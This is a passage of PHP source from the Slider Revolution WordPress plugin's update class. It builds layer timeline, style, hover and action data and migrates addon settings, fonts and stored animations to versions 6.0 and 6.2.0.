					'yoyo_filter' => ($this->get_val($layer, 'loop_animation', 'none') !== 'none') ? true : false,
					'repeat' => '-1',
					'start' => 300,
					'autoRotate' => false,
					'frame_0' => array(
						'xr' => $this->get_val($layer, 'loop_radius', 0),
						'yr' => $this->get_val($layer, 'loop_radius', 0),
						'zr' => 0,
						'x' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? 0 : $this->get_val($layer, 'loop_xstart', 0),
						'y' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? 0 : $this->get_val($layer, 'loop_ystart', 0),
						'z' => 0,
						'scaleX' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? 1 : $this->get_val($layer, 'loop_zoomstart', 1),
						'scaleY' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? 1 : $this->get_val($layer, 'loop_zoomstart', 1),
						'opacity' => 1,
						'rotationX' => 0,
						'rotationY' => 0,
						'rotationZ' => ($this->get_val($layer, 'loop_animation') !== 'rs-rotate' && $this->get_val($layer, 'loop_animation') !== 'rs-pendulum') ? 0 : $this->get_val($layer, 'loop_startdeg', 0),
						'skewX' => 0,
						'skewY' => 0,
						'blur' => 0,
						'brightness' => 100,
						'grayscale' => 0
					),
					'frame_999' => array(
						'xr' => $this->get_val($layer, 'loop_radius', 0),
						'yr' => $this->get_val($layer, 'loop_radius', 0),
						'zr' => 0,
						'x' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? 0 : $this->get_val($layer, 'loop_xend', 0),
						'y' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? 0 : $this->get_val($layer, 'loop_yend', 0),
						'z' => 0,
						'scaleX' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? 1 : $this->get_val($layer, 'loop_zoomend', 1),
						'scaleY' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? 1 : $this->get_val($layer, 'loop_zoomend', 1),
						'opacity' => 1,
						'rotationX' => 0,
						'rotationY' => 0,
						'rotationZ' => ($this->get_val($layer, 'loop_animation') !== 'rs-rotate' && $this->get_val($layer, 'loop_animation') !== 'rs-pendulum') ? 0 : $this->get_val($layer, 'loop_enddeg', 0),
						'skewX' => 0,
						'blur' => 0,
						'brightness' => 100,
						'grayscale' => 0
					),
					'loop_animation' => $this->get_val($layer, 'loop_animation', 'none')
				)
			)
		);
		
		//}

		/**
		 * change timeline values of frame_1 depending on frame_0
		 **/
		/*$change = array(
			'x' => 0,
			'y' => 0,
			'z' => 0,
			'rotationX' => 0,
			'rotationY' => 0,
			'rotationZ' => 0,
			'scaleX' => 0,
			'scaleY' => 0,
			'skewX' => 0,
			'skewY' => 0,
			'opacity' => 1
		);
		
		foreach($change as $ck => $cv){
			if(isset($ml['timeline']['frames']['frame_0'][$ck])){
				if($ml['timeline']['frames']['frame_0'][$ck] !== $cv){
					$ml['timeline']['frames']['frame_1'][$ck] = $cv;
				}
			}
		}*/
		
		if($ml['timeline']['frames']['frame_0']['filter']['use'] === true){
			$ml['timeline']['frames']['frame_1']['filter']['use'] = true;
		}

		if(isset($ml['timeline']) && isset($ml['timeline']['frames']) && isset($ml['timeline']['frames']['frame_0']) && isset($ml['timeline']['frames']['frame_0']['timeline']) && isset($ml['timeline']['frames']['frame_0']['timeline']['endWithSlide'])){
			unset($ml['timeline']['frames']['frame_0']['timeline']['endWithSlide']);
		}

		$ml['effects'] = array(
			'effect' => 'default', //($this->on_counter >= 2 && $blank === false) ? true : false
			'parallax' => $this->get_val($deformation, 'parallax', '-'),
			'attachToBg' => ($this->get_val($layer, 'parallax_layer_ddd_zlevel') === 'bg') ? true : false
		);
		
		if($blank === false){ //only do this if we are not creating a blank layer
			if($this->on_counter === 1){
				if($this->on_layers === true){
					if($this->static_slide === false && ($this->parallax_slider === false || $this->parallax_slider === true && $ml['effects']['parallax'] === '-')){
						$ml['effects']['effect'] = 'true';
					}
				}
				if($this->on_static_layers === true){
					if($this->static_slide === true && ($this->parallax_slider === false || $this->parallax_slider === true && $ml['effects']['parallax'] === '-')){
						$ml['effects']['effect'] = 'true';
					}
				}
				if($this->on_parallax_layers === true){
					if($this->static_slide === false && $this->parallax_slider === true){
						if($ml['effects']['parallax'] !== '-'){
							$ml['effects']['effect'] = 'true';
						}
					}
				}
				if($this->on_parallax_static_layers === true){
					if($this->static_slide === true && $this->parallax_slider === true){
						if($ml['effects']['parallax'] !== '-'){
							$ml['effects']['effect'] = 'true';
						}
					}
				}
			}elseif($this->on_counter >= 2){
				$matches = false;
				if($this->on_layers === true){
					if($this->static_slide === false && ($this->parallax_slider === false || $this->parallax_slider === true && $ml['effects']['parallax'] === '-')){
						$matches = true;
					}
				}
				if($this->on_static_layers === true){
					if($this->static_slide === true && ($this->parallax_slider === false || $this->parallax_slider === true && $ml['effects']['parallax'] === '-')){
						$matches = true;
					}
				}
				if($this->on_parallax_layers === true){
					if($this->static_slide === false && $this->parallax_slider === true){
						if($ml['effects']['parallax'] !== '-'){
							$matches = true;
						}
					}
				}
				if($this->on_parallax_static_layers === true){
					if($this->static_slide === true && $this->parallax_slider === true){
						if($ml['effects']['parallax'] !== '-'){
							$matches = true;
						}
					}
				}
				
				if($matches === false){
					$ml['effects']['effect'] = 'false';
				}
			}
		}
		
		// see comment in ColorPicker class for new "correctValue" function
		$deformation['background-color'] = $color_picker->correctValue($this->get_val($deformation, 'background-color'), $this->get_val($deformation, 'background-transparency', false));

		if($this->get_val($deformation, 'color-transparency', false) !== false){
			$static_color = $this->get_val($static_styles, 'color', array());
			if(!empty($static_color)){
				foreach($static_color as $i => $s_color){
					$this->set_val($static_styles, array('color', $i), $color_picker->convert($s_color, $this->get_val($deformation, 'color-transparency') * 100));
				}
			}
		}
		
		// CHECK IF OLDER OBJ PADDING EXISTS (WITHOUT 4 LEVELS)
		$pdng = $this->get_val($layer, 'padding'); //done this way for older php versions
		$layer['padding'] = (!empty($pdng)) ? $pdng : $this->get_val($deformation, 'padding');

		if($this->get_val($layer, 'displaymode', false) !== false){
			if($this->get_val($layer, 'displaymode') === 'true' || $this->get_val($layer, 'displaymode') === true){
				$display = 'block';
			}else{
				$display = 'inline-block';
			}
		}else{
			$display = $this->get_val($layer, 'display', $this->get_val($layer, 'display', 'block'));
		}
		
		$bgc = $this->get_val($deformation, 'background-color', 'transparent');
		$bgt = $this->get_val($deformation, 'background-transparency', false);
		
		// see comment in ColorPicker class for new "correctValue" function
		$bgc = $color_picker->correctValue($bgc, $bgt);
		
		$cl = $this->get_val($deformation, 'corner_left', 'nothing');
		$cr = $this->get_val($deformation, 'corner_right', 'nothing');
		$cl = $this->get_val($this->_corners['cornerLeft'], $cl, 'none');
		$cr = $this->get_val($this->_corners['cornerRight'], $cr, 'none');
		
		$fs = $this->_truefalse($this->get_val($deformation, 'font-style', false));
		$fs = ($fs === 'normal') ? false : $fs;
		$fs = ($fs === 'italic') ? true : $fs;
		
		$ml['idle'] = array(
			'style' => $this->get_val($layer, 'style', ''),
			'color' => $this->c_to_resp(array('default' => '#ffffff', 'val' => $this->get_val($static_styles, 'color', '#ffffff'))),
			'margin' => $this->c_to_resp(array('default' => array(0, 0, 0, 0), 'val' => $this->get_val($layer, 'margin'))),
			'padding' => $this->c_to_resp(array('debug' => true, 'default' => array(0, 0, 0, 0), 'val' => $this->get_val($layer, 'padding'))),
			'marginLock' => false,
			'paddingLock' => false,
			'borderWidthLock' => false,
			'borderRadiusLock' => false,
			'autolinebreak' => $this->_truefalse($this->get_val($layer, 'autolinebreak', true)),
			'display' => $display,
			'fontFamily' => str_replace('"', '', $this->get_val($deformation, 'font-family', 'Roboto')),
			'fontStyle' => $fs,
			'fontSize' => $this->c_to_resp(array('default' => '20', 'val' => $this->get_val($static_styles, 'font-size'))),
			'fontWeight' => $this->c_to_resp(array('default' => '400', 'val' => $this->get_val($static_styles, 'font-weight'))),
			'letterSpacing' => $this->c_to_resp(array('default' => '0', 'val' => $this->get_val($static_styles, 'letter-spacing'))),
			'lineHeight' => $this->c_to_resp(array('default' => '25', 'val' => $this->get_val($static_styles, 'line-height'))),
			'overflow' => $this->get_val($deformation, 'overflow', 'visible'),
			'textAlign' => $this->c_to_resp(array('default' => 'left', 'val' => $this->get_val($layer, 'text-align', $this->get_val($deformation, 'text-align')))),
			'verticalAlign' => $this->get_val($deformation, 'vertical-align', 'top'),
			'cursor' => $this->get_val($deformation_hover, 'css_cursor', 'auto'),
			'backgroundColor' => $bgc,
			'backgroundPosition' => $this->get_val($layer, 'layer_bg_position', 'center center'),
			'backgroundRepeat' => $this->get_val($layer, 'layer_bg_repeat', 'no-repeat'),
			'backgroundSize' => $this->get_val($layer, 'layer_bg_size', 'cover'),
			'backgroundImage' => $this->get_val($layer, 'bgimage_url', ''),
			'backgroundImageId' => $this->get_image_id_by_url($this->get_val($layer, 'bgimage_url')),
			'borderColor' => $color_picker->correctValue($this->get_val($deformation, 'border-color', 'transparent'), $this->get_val($deformation, 'border-transparency', false)),
			'borderRadius' => $this->c_to_v_and_u(array('default' => array(0, 0, 0, 0), 'val' => $this->get_val($deformation, 'border-radius', array(0, 0, 0, 0)), 'u' => '%')),
			'borderStyle' => $this->c_to_resp(array('default' => 'none', 'val' => $this->get_val($deformation, 'border-style', 'none'))),
			'borderWidth' => $this->make_array($this->get_val($deformation, 'border-width', 0), 4),
			'textDecoration' => $this->get_val($deformation, 'text-decoration', 'none'),
			'textTransform' => $this->get_val($deformation, 'text-transform', 'none'),
			'whiteSpace' => $this->c_to_resp(array('default' => 'nowrap', 'val' => $this->get_val($layer, 'whitespace'))),
			'boxShadow' => array(
				'inuse' => false,
				'container' => 'content',
				'hoffset' => $this->c_to_resp(array('default' => 0, 'val' => 0)),
				'voffset' => $this->c_to_resp(array('default' => 0, 'val' => 0)),
				'blur' => $this->c_to_resp(array('default' => 0, 'val' => 0)),
				'spread' => $this->c_to_resp(array('default' => 0, 'val' => 0)),
				'color' => 'rgba(0,0,0,0)',
			),
			'textShadow' => array(
				'inuse' => false,
				'hoffset' => $this->c_to_resp(array('default' => 0, 'val' => 0)),
				'voffset' => $this->c_to_resp(array('default' => 0, 'val' => 0)),
				'blur' => $this->c_to_resp(array('default' => 0, 'val' => 0)),
				'color' => 'rgba(0,0,0,0)',
			),
			'filter' => array(
				'blendMode' => $this->get_val($layer, 'layer_blend_mode', 'normal'),
				'showInEditor' => true,
			),
			'cornerLeft' => $cl,
			'cornerRight' => $cr,
			'selectable' => $this->get_val($deformation, 'layer-selectable', 'default'),
			'svg' => array(
				'color' => $this->c_to_resp(array('default' => '#ffffff', 'val' => $this->get_val($static_styles, 'color', '#ffffff'))),
				'strokeColor' => $this->get_val($svg, 'svgstroke-color', 'transparent'),
				'strokeDashArray' => $this->get_val($svg, 'svgstroke-dasharray', 0),
				'strokeDashOffset' => $this->get_val($svg, 'svgstroke-dashoffset', 0),
				'strokeWidth' => $this->get_val($svg, 'svgstroke-width', 0),
			)
		);
		
		/**
		 * check if fontfamily is a google font
		 * if yes
		 * 	-> check if fontweight exists in this google font
		 * 		-> If no, reset to 400
		 **/
		$_ff = str_replace(array('"', '"'), '', $ml['idle']['fontFamily']);
		
		if(isset($this->googlefonts[$_ff])){
			$_fw = $ml['idle']['fontWeight'];
			
			if(is_array($_fw)){
				foreach($_fw as $device => $d_val){
					$_d_v = $this->get_val($d_val, 'v');
					//check if fontweight exists!
					$fw = $this->get_val($this->googlefonts, array($_ff, 'variants'), array());
					$fw_found = false;
					if(!empty($fw)){
						foreach($fw as $w){
							if($w == $_d_v){
								$fw_found = true;
								break;
							}
						}
					}
					
					if($fw_found === false){
						if(!empty($fw)){
							if($_d_v > 400) arsort($fw); //change array from high to low
							
							foreach($fw as $w){
								$w = intval($w);
								if($w === 0) continue; //remove the italic ones
								
								if($_d_v < 400){
									//get next bigger one
									if($w > $_d_v){
										$ml['idle']['fontWeight'][$device]['v'] = $w;
										break;
									}
								}else{
									//get next lower one
									if($w < $_d_v){
										$ml['idle']['fontWeight'][$device]['v'] = $w;
										break;
									}
								}
							}
							
							//if not found, jump to the first found
							if(intval($_d_v) == $ml['idle']['fontWeight'][$device]['v']){
								asort($fw); //sort back from lowest to hightest
								foreach($fw as $w){
									$w = intval($w);
									if($w === 0) continue; //remove the italic ones
									$ml['idle']['fontWeight'][$device]['v'] = $w;
									break;
								}
							}
							
							//$ml['idle']['fontWeight'] = $this->c_to_resp(array('default' => '400', 'val' => $ml['idle']['fontWeight']));
						}
					}
				}
			}
		}
		
		$colorch = $this->get_val($deformation_hover, 'color', '#ffffff');
		$colorht = $this->get_val($deformation_hover, 'color-transparency', false);
		if($colorht !== false) $colorch = $color_picker->convert($colorch, $colorht);
		
		$bghc = $this->get_val($deformation_hover, 'background-color', 'transparent');
		$bght = $this->get_val($deformation_hover, 'background-transparency', false);
		
		// see comment in ColorPicker class for new "correctValue" function
		$bghc = $color_picker->correctValue($bghc, $bght);
		
		$hover_pe = (strpos($this->get_val($layer, 'attrClasses', ''), 'nopointerevent') !== false) ? 'none' : $this->get_val($deformation_hover, 'pointer_events', 'auto');
		$hover_pe = (strpos($this->get_val($layer, 'attrClasses', ''), 'tp-nopointer') !== false) ? 'none' : $hover_pe;
		$hover_pe = (strpos($this->get_val($layer, 'attrWrapperClasses', ''), 'nopointerevent') !== false) ? 'none' : $hover_pe;
		$hover_pe = (strpos($this->get_val($layer, 'attrWrapperClasses', ''), 'tp-nopointer') !== false) ? 'none' : $hover_pe;
		
		$ml['hover'] = array(
			'usehover' => $this->_truefalse($this->get_val($layer, 'hover', false)),
			'color' => $colorch,
			'opacity' => $this->get_val($deformation_hover, 'opacity', 1),
			'backgroundColor' => $bghc,
			'borderColor' => $color_picker->correctValue($this->get_val($deformation_hover, 'border-color', 'transparent'), $this->get_val($deformation_hover, 'border-transparency', false)),
			'borderRadius' => $this->c_to_v_and_u(array('default' => array(0, 0, 0, 0), 'val' => $this->get_val($deformation_hover, 'border-radius', array(0, 0, 0, 0)), 'u' => '%')),
			'borderStyle' => $this->get_val($deformation_hover, 'border-style', 'none'),
			'borderWidth' => $this->make_array($this->get_val($deformation_hover, 'border-width', 0), 4),
			'transformPerspective' => '600',
			'originX' => $this->get_val($deformation_hover, '2d_origin_x', '50%'),
			'originY' => $this->get_val($deformation_hover, '2d_origin_y', '50%'),
			'originZ' => '0',
			'rotationZ' => $this->get_val($deformation_hover, '2d_rotation', 0),
			'rotationX' => $this->get_val($deformation_hover, 'xrotate', 0),
			'rotationY' => $this->get_val($deformation_hover, 'yrotate', 0),
			'scaleX' => $this->get_val($deformation_hover, 'scalex', 1),
			'scaleY' => $this->get_val($deformation_hover, 'scaley', 1),
			'skewX' => $this->get_val($deformation_hover, 'skewx', 0),
			'skewY' => $this->get_val($deformation_hover, 'skewy', 0),
			'textDecoration' => $this->get_val($deformation_hover, 'text-decoration', 'none'),
			'x' => $this->get_val($deformation_hover, 'x', 0),
			'y' => $this->get_val($deformation_hover, 'y', 0),
			'z' => $this->get_val($deformation_hover, 'z', 0),
			'speed' => $this->get_val($deformation_hover, 'speed', 300),
			'ease' => $this->get_val($deformation_hover, 'easing', 'none'), //power3.inOut
			'zIndex' => $this->get_val($deformation_hover, 'zindex', 'auto'),
			'pointerEvents' => $hover_pe,
			'filter' => array(
				'grayscale' => $this->get_val($deformation_hover, 'grayscalefilter', 0),
				'brightness' => $this->get_val($deformation_hover, 'brightnessfilter', 100),
				'blur' => $this->get_val($deformation_hover, 'blurfilter', 0),
			),
			'svg' => array(
				'color' => $this->get_val($deformation_hover, 'color', '#ffffff'),
				'strokeColor' => $this->get_val($svg, 'svgstroke-hover-color', 'transparent'),
				'strokeDashArray' => $this->get_val($svg, 'svgstroke-hover-dasharray', 0),
				'strokeDashOffset' => $this->get_val($svg, 'svgstroke-hover-dashoffset', 0),
				'strokeWidth' => $this->get_val($svg, 'svgstroke-hover-width', 0),
			),
		);
		
		$ml['actions'] = array(
			'action' => array(),
			'animationoverwrite' => $this->get_val($layer, 'animation_overwrite', 'default'),
			'triggerMemory' => $this->get_val($layer, 'trigger_memory', 'reset'),
		);

		if(!empty($layer_action)){
			$actions = $this->get_val($layer_action, 'action');
			foreach($actions as $i => $action){
				$ml['actions']['action'][] = array();
				
				foreach($layer_action as $attr => $l_action){
					if(isset($l_action[$i])){
						$ml['actions']['action'][$i][$attr] = $l_action[$i];
					}else{
						$ml['actions']['action'][$i][$attr] = '';
					}
				}
			}
			
			$new_actions = $this->get_val($ml, array('actions', 'action'), array());
			if(!empty($new_actions)){
				foreach($new_actions as $a_k => $n_a){
					
					if(in_array($this->get_val($n_a, 'action'), array('start_in', 'start_out', 'toggle_layer'), true)){
						$this->slide_action_map[] = ($this->static_slide) ? 'static-'.$this->get_val($n_a, 'layer_target') : $this->get_val($n_a, 'layer_target');
					}
					
					//group row column
					if(in_array($this->get_val($ml, 'type', 'text'), array('row', 'group', 'column'), true)){
						if($this->get_val($n_a, 'action') === 'link'){
							$ml['actions']['action'][$a_k]['link_type'] = 'jquery';
						}
					}
				}
			}
		}
		
		$ml['visibility'] = array(
			'visible' => ($this->get_val($layer, 'visible', 'invisible') === 'invisible') ? true : $this->_truefalse($this->get_val($layer, 'visible', true)),
			'locked' => false,
			'd' => $this->_truefalse($this->get_val($layer, 'visible-desktop', true)),
			'm' => $this->_truefalse($this->get_val($layer, 'visible-mobile', true)),
			'n' => $this->_truefalse($this->get_val($layer, 'visible-notebook', true)),
			't' => $this->_truefalse($this->get_val($layer, 'visible-tablet', true)),
			'hideunder' => $this->_truefalse($this->get_val($layer, 'hiddenunder', false)),
			'onlyOnSlideHover' => $this->_truefalse($this->get_val($layer, 'show-on-hover', false)),
		);
		$ml['runtime'] = $this->get_val($layer, 'runtime', array(
			'internalClass' => $this->get_val($layer, 'internal_class', ''),
			'isDemo' => false,
			'unavailable' => false,
		));

		$ml['customCSS'] = '';
		$ml['customHoverCSS'] = '';

		$inline = $this->get_val($layer, 'inline', array());
		$idle = $this->get_val($inline, 'idle', false);
		$hover = $this->get_val($inline, 'hover', false);
		
		if($idle !== false && (is_object($idle) || is_array($idle)) && !empty($idle)){
			foreach($idle as $key => $idl){
				$ml['customCSS'] .= $key .':'. $idl . ";\n";
			}
		}
		if($hover !== false && (is_object($hover) || is_array($hover)) && !empty($hover)){
			foreach($hover as $key => $hov){
				$ml['customHoverCSS'] .= $key .':'. $hov . ";\n";
			}
		}
		
		//add navigation advanced style idle if set into the customCSS
		//add navigation advanced style hover if set into the customHoverCSS
		$_style = $this->get_val($ml, array('idle', 'style'), '');
		if($_style !== ''){
			$css = $this->get_css_navigations();
			$_adv = $this->get_val($css, '.tp-caption.'.$_style, array());
			if(!empty($_adv)){
				$_idle = $this->get_val($_adv, array('advanced', 'idle'), array());
				$_hover = $this->get_val($_adv, array('advanced', 'hover'), array());
				if(!empty($_idle) && is_array($_idle)){
					foreach($_idle as $ik => $iv){
						$ml['customCSS'] .= $ik.':'.$iv.';'."\n";
					}
				}
				if(!empty($_hover) && is_array($_hover)){
					foreach($_hover as $hk => $hv){
						$ml['customHoverCSS'] .= $hk.':'.$hv.';'."\n";
					}
				}
				
				//check also params for css which is not default selectable
				//check also hover for css which is not default selectable
				
				//push letter-spacing if it was not available already
				if($this->get_val($static_styles, 'letter-spacing') === ''){
					$ls = $this->get_val($_adv, array('params', 'letter-spacing'));
					if($ls !== ''){
						$ml['idle']['letterSpacing'] = $this->c_to_resp(array('default' => '0', 'val' => $ls));
					}
				}
			}
		}
		
		// exploding layers migration
		$exploding = $this->get_val($layer, 'explodinglayers', false);
		if(!empty($exploding)){
			
			$frames = $this->get_val($layer, 'frames', array());
			$frame_0 = $this->get_val($frames, 'frame_0', array());
			$frame_999 = $this->get_val($frames, 'frame_999', array());
			$enabled_in = $this->get_val($frame_0, 'animation', false);
			$enabled_out = $this->get_val($frame_999, 'animation', false);
			
			// animation in enabled
			if($enabled_in === 'explodinglayers'){
				$ml['timeline']['frames']['frame_1']['explodinglayers'] = $this->write_exploding_layer($exploding, 'in');
			}
			
			// handle 'auto reverse' possibility
			if($enabled_out === 'auto') $enabled_out = $enabled_in === 'explodinglayers' ? 'explodinglayers' : false;
			
			// animation out enabled
			if($enabled_out === 'explodinglayers'){
				$ml['timeline']['frames']['frame_999']['explodinglayers'] = $this->write_exploding_layer($exploding, 'out');
			}
			
		}

		return $ml;
	}
	
	
	/**
	 * remove unneeded data from the slider settings
	 **/
	public function remove_unneeded_slider_settings($sliders){
		$sr = new RevSliderSlider();
		$sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false

		if(!empty($sliders) && is_array($sliders)){
			foreach($sliders as $slider){
				$update = false;
				$params = $slider->get_params();
				/**
				 * the particles addon data
				 * are not needed in the slider settings
				 **/
				if($this->get_val($params, array('addOns', 'revslider-particles-addon', 'enable'), false) !== false){
					$this->set_val($params, array('addOns', 'revslider-particles-addon'), array());
					$this->set_val($params, array('addOns', 'revslider-particles-addon', 'enable'), true);
					$update = true;
				}
				
				if($update === true){
					$slider->update_params($params, true);
				}
			}
		}
	}
	
	/**
	 * exploding layers migration
	 **/
	private function write_exploding_layer($exploding, $tpe){
		
		$color       = $this->get_val($exploding, 'color_'       . $tpe, array('#000000'));
		$density     = $this->get_val($exploding, 'density_'     . $tpe, array('1'));
		$direction   = $this->get_val($exploding, 'direction_'   . $tpe, array('left'));
		$padding     = $this->get_val($exploding, 'padding_'     . $tpe, array('150'));
		$power       = $this->get_val($exploding, 'power_'       . $tpe, array('2'));
		$randomsize  = $this->get_val($exploding, 'randomsize_'  . $tpe, array(false));
		$randomspeed = $this->get_val($exploding, 'randomspeed_' . $tpe, array(false));
		$size        = $this->get_val($exploding, 'size_'        . $tpe, array('5'));
		$speed       = $this->get_val($exploding, 'speed_'       . $tpe, array('1'));
		$style       = $this->get_val($exploding, 'style_'       . $tpe, array('fill'));
		$sync        = $this->get_val($exploding, 'sync_'        . $tpe, array(false));
		$type        = $this->get_val($exploding, 'type_'        . $tpe, array('circle'));
		
		$sync = is_array($sync) ? $sync[0] : $sync;
		$randomsize = is_array($randomsize) ? $randomsize[0] : $randomsize;
		$randomspeed = is_array($randomspeed) ? $randomspeed[0] : $randomspeed;
		
		// previous values used to be 4 levels, convert to 1 level via Kris suggestion
		return array(
			'type'        => is_array($type) ? $type[0] : $type,
			'color'       => is_array($color) ? $color[0] : $color,
			'density'     => is_array($density) ? $density[0] : $density,
			'direction'   => is_array($direction) ? $direction[0] : $direction,
			'padding'     => is_array($padding) ? $padding[0] : $padding,
			'power'       => is_array($power) ? $power[0] : $power,
			'size'        => is_array($size) ? $size[0] : $size,
			'speed'       => is_array($speed) ? $speed[0] : $speed,
			'style'       => is_array($style) ? $style[0] : $style,
			'sync'        => $this->_truefalse($sync),
			'randomsize'  => $this->_truefalse($randomsize),
			'randomspeed' => $this->_truefalse($randomspeed),
			'use'         => true
		);
		
	}
	
	/**
	 * If the plugin was WP activated in 5.0, it needs to be "enabled" in 6.0
	 * Only 404 and Maintenance had individual "active" options.  All others were auto-active in 5.0
	 **/
	private function change_global_addon_settings_to_6_0(){
		
		include_once(ABSPATH . 'wp-admin/includes/plugin.php');
		if(function_exists('is_plugin_active')){
			
			// 404 pages
			if(is_plugin_active('revslider-404-addon/revslider-404-addon.php')){
				
				$settings = get_option('revslider_404_addon');
				if($settings !== false){
					$options = array();
					parse_str($settings, $options);
					if(isset($options['revslider-404-addon-active']) && intval($options['revslider-404-addon-active'])){
						update_option('revslider_404_enabled', 1);
					}
				}
				
			}
			
			// maintenance & coming soon
			if(is_plugin_active('revslider-maintenance-addon/revslider-maintenance-addon.php')){
				
				$settings = get_option('revslider_maintenance_addon');
				if($settings !== false){
					$options = array();
					parse_str($settings, $options);
					if(isset($options['revslider-maintenance-addon-active']) && intval($options['revslider-maintenance-addon-active'])){
						update_option('revslider_maintenance_enabled', 1);
					}
				}
				
			}
			
			// slide backups
			// 5.0 Slide backups get converted dynamically if/when the user attempts to restore them
			// This conversion takes place inside the AddOn's "restore_slide_backup" function
			if(is_plugin_active('revslider-backup-addon/revslider-backup-addon.php')){
				update_option('revslider_backup_enabled', 1);	
			}
			
			// featured slider
			if(is_plugin_active('revslider-featured-addon/revslider-featured-addon.php')){
				update_option('revslider_featured_enabled', 1);	
			}
			
			// wp gallery
			if(is_plugin_active('revslider-gallery-addon/revslider-gallery-addon.php')){
				update_option('revslider_gallery_enabled', 1);	
			}
			
			// login
			if(is_plugin_active('revslider-login-addon/revslider-login-addon.php')){
				update_option('revslider_login_enabled', 1);	
			}
			
			// social sharing
			if(is_plugin_active('revslider-sharing-addon/revslider-sharing-addon')){
				update_option('revslider_sharing_enabled', 1);	
			}
			
			// related posts slider
			if(is_plugin_active('revslider-rel-posts-addon/revslider-rel-posts-addon.php')){
				update_option('revslider_rel_posts_enabled', 1);	
			}
			
			// prev/next slider
			if(is_plugin_active('revslider-prevnext-posts-addon/revslider-prevnext-posts-addon.php')){
				update_option('revslider_prevnext_posts_enabled', 1);	
			}	
			
		}
	}
	
	/**
	 * change the global setting to 6.2.0
	 **/
	public function change_global_settings_to_6_2_0(){
		$global = maybe_unserialize(get_option('revslider-global-settings', '')); //get the old structure as serialized
		
		$global = (!is_array($global)) ? json_decode($global, true) : $global;
		
		if(is_array($global)){ //means we are not json, so we are on 5.x
			$version = $this->get_val($global, 'version', '1.0.0');
			
			if(version_compare($version, '6.2.0', '>=')) return true; //already on 6.0
			
			$global['version'] = '6.2.0';
			
			if(isset($global['customfonts'])){
				$global['customFontList'] = array();
				
				$cfa = (!empty($global['customfonts'])) ? explode(',', $global['customfonts']) : ''; //pre 6.2.0
				
				if(!empty($cfa)){
					foreach($cfa as $font){
						$global['customFontList'][] = array(
							'family'	=> $font,
							'url'		=> '',
							'frontend'	=> false,
							'backend'	=> true,
							'weights'	=> '200,300,400,500,600,700,800,900',
						);
					}
				}
				
				unset($global['customfonts']);
			}
		
			$this->set_global_settings($global);
		}
	}

	/**
	 * change the layer animations to version 6.2.0
	 **/
	public function change_animations_settings_to_6_2_0($anims = false){
		if($anims === false){
			$custom_in	 = $this->get_animations();
			$custom_out	 = $this->get_end_animations();
			$custom_loop = $this->get_loop_animations();
			$anims = $custom_in + $custom_out + $custom_loop;
		}
		
		if(!empty($anims)){
			global $wpdb;
			
			foreach($anims as $_){
				$id = $_['id'];
				unset($_['id']);
				unset($_['settings']);
				$json_anim = $_json_anim = json_encode($_);
				
				$_json_anim = str_replace($this->update['620']['ease_adv_from'], $this->update['620']['ease_adv_to'], $_json_anim);
				
				
				if($_json_anim !== $json_anim){
					$arr['params'] = $_json_anim;
					
					$result = $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_LAYER_ANIMATIONS, $arr, array('id' => $id));
				}
			}
		}
		
	}
	
	/**
	 * change the layer animations to version 6.0.0
	 **/
	public function change_animations_settings_to_6_0($anims = false){
		//do on all navigations ?
		$anims = ($anims === false) ? $this->get_animations_v5() : (array)$anims;
		
		if(!empty($anims)){
			global $wpdb;
			
			foreach($anims as $_){
				if($this->get_val($_, 'settings') === 'in' || $this->get_val($_, 'settings') === 'out'){ //ignore, as already converted to 6.0
					continue;
				}else{
					if(is_string($this->get_val($_, 'params'))){
						$_['params'] = json_decode($this->get_val($_, 'params'), true);
					}
					$gid = ($this->get_val($_, array('params', 'type')) == 'customin') ? 'in' : 'out';
					$fr = ($gid === 'in') ? 'frame_0' : 'frame_999';
					$tr = array('name' =>  $this->get_val($_, 'handle'));
					$tr[$fr] = array('transform' => array(), 'timeline' => array());
					
					if($gid === 'in'){
						$tr['frame_1'] = array('timeline' => array('speed' => $this->get_val($_, array('params', 'speed')), 'ease' => $this->get_val($_, array('params', 'easing'))));
					}else{
						$tr['frame_999']['timeline'] = array('speed' => $this->get_val($_, 'params', 'speed'), 'ease' => $this->get_val($_, array('params', 'easing')));
					}

					// CHECK IF ANIMATION HAS MASK
					if($this->_truefalse($this->get_val($_, array('params', 'mask'))) == true){
						$tr[$fr]['mask'] = array('use' => true, 'x' => $this->get_val($_, array('params', 'mask_x')), 'y' => $this->get_val($_, array('params', 'mask_y')));
						if($gid === 'in') $tr['frame_1']['mask'] = array('use' => true, 'x' => 0, 'y' => 0);
					}

					$inside = $tr[$fr]['transform'];
					$splithelp = array('use' => true, 'delay' => $this->get_val($_, array('params', 'splitdelay')));

					// SET TARGET ANIMATION TO SPLIT OR LAYER
					switch($this->get_val($_, array('params', 'split'))){
						case 'lines':
						case 'line':
							$tr[$fr]['lines'] = $splithelp;
							$inside = $tr[$fr]['lines'];
							if($gid === 'in') $tr['frame_1']['lines'] = $splithelp;
						break;
						case 'words':
						case 'word':
							$tr[$fr]['words'] = $splithelp;
							$inside = $tr[$fr]['words'];
							if($gid === 'in') $tr['frame_1']['words'] = $splithelp;
						break;
						case 'chars':
						case 'char':
							$tr[$fr]['chars'] = $splithelp;
							$inside = $tr[$fr]['chars'];
							if($gid === 'in') $tr['frame_1']['chars'] = $splithelp;
						break;
					}


					$opacity = $this->get_val($_, array('params', 'captionopacity'), '######');
					if($opacity !== '######') $inside['opacity'] = $opacity;

					// GO THROUGH THE PARAMS AND CREATE THEM IF NEEDED
					if(!empty($_['params'])){
						foreach($_['params'] as $key => $val){
							if(in_array($val, array('inherit', '0', 0, '0px'))) continue;
							switch($key){
								case 'movex':
									$inside['x'] = $val;
								break;
								case 'movey':
									$inside['y'] = $val;
								break;
								case 'movez':
									$inside['z'] = $val;
								break;
								case 'rotationx':
									$inside['rotationX'] = $val;
								break;
								case 'rotationy':
									$inside['rotationY'] = $val;
								break;
								case 'rotationz':
									$inside['rotationZ'] = $val;
								break;
								case 'skewx':
									$inside['skewX'] = $val;
								break;
								case 'skewy':
									$inside['skewY'] = $val;
								break;
							}
